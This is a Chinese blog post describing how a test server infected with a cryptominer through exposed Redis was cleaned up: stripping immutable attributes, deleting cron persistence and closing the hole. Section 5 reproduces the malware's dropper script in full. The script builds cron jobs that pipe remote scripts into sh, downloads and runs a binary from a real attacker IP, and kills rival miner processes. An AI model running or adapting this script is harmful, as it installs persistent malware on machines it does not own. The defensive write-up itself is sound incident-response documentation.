1.背景
记录一次排查挖矿病毒的过程,其实都是按照阿里云官方教程操作,其中有些操作命令需要重点记录下,为后面生产环境做铺垫学习。
2.现象
近期测试服务器有黑客通过redis的6379端口入侵,然后阿里云发送报警信息,然后登录控制台发现以下报警信息:
3.恶意文件删除
原先还担心 /etc/sysguard 是不是系统自带的,后来,检查看了下其他机器/etc目录下,都无此文件。遂放心删除。
rm -rf /etc/sysguard
提示如下:rm: cannot remove ‘sysupdate’: Operation not permitted
不科学啊,我是用root用户登录的,可能是黑客通过rootkit工具进行了处理。
然后查找资料,找到以下几个命令:
(1). lsattr -a 文件名或目录:发现含有 -i , 其表示不能被删除、改名、设定连结、写入或新增数据;
例如:----i--------e-- /etc/sysguard
(2). chattr -i :取消i命令权限
果不其然,撤销之后在删除就可以如愿删除了。
4.再次检查(很重要)
建议立即及时排查系统/etc/crontab、/var/spool/cron/、/var/spool/cron/crontabs/等目录下是否存在可疑计划任务文件,并加固系统密码。
尤其要注意他们的伪装,比如web,nginx,www ,www-web等等文件,这些肯定有问题!!
5.恶意脚本
如下就是写入的恶意脚本文件,在/var/spool/mail目录,反正/var/spool目录肯定有恶意文件,通过脚本也能看到
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/ozjsfab||/usr/libexec/ozjsfab||/usr/local/bin/ozjsfab||/tmp/ozjsfab||curl -fsSL -m180 http://67.205.164.163:8000/i.sh||wget -q -T180 -O- http://67.205.164.163:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep ozjsfab || rm -rf ozjsfab
if [ ! -f "ozjsfab" ]; then
curl -fsSL -m1800 http://67.205.164.163:8000/static/4011/ddgs.$(uname -m) -o ozjsfab||wget -q -T1800 http://67.205.164.163:8000/static/4011/ddgs.$(uname -m) -O ozjsfab
fi
chmod +x ozjsfab
/usr/bin/ozjsfab||/usr/libexec/ozjsfab||/usr/local/bin/ozjsfab||/tmp/ozjsfab
ps auxf | grep -v grep | grep ozjsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa3 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa4 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa5 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa6 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa7 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa8 | awk '{print $2}' | xargs kill -9
echo "*/15 * * * * (/usr/bin/ozjsfab||/usr/libexec/ozjsfab||/usr/local/bin/ozjsfab||/tmp/ozjsfab||curl -m180 -fsSL http://67.205.164.163:8000/i.sh||wget -q -T180 -O- http://67.205.164.163:8000/i.sh) | sh" | crontab -
他们很会伪装,比如在/var/spool/cron或/var/spool/cron/crontabs文件中新建一个root文件,让你误以为是系统文件,其实它就是个定时任务文件。我的是这两个目录都有这个root文件,根据文件创建日期也很容易想到是黑客入侵时写入的。
很明显这就是个定时任务文件,通过远程67.205.164.163这个IP下载那个i.sh脚本文件,就可以得到上面那个恶意脚本文件。
果断删除,不含糊。
6.封堵漏洞
可参考阿里云官方介绍文档,牢记:一定要去堵住漏洞,否则还是会被轻易侵入。
https://help.aliyun.com/knowledge_detail/37447.html
https://help.aliyun.com/knowledge_detail/37433.html
最后,排查异常进程,有一点可参考,就是根据被侵入日期和关键词查看是否有异常进程。
ps -p $PID -o lstart
可以输出进程启动时间。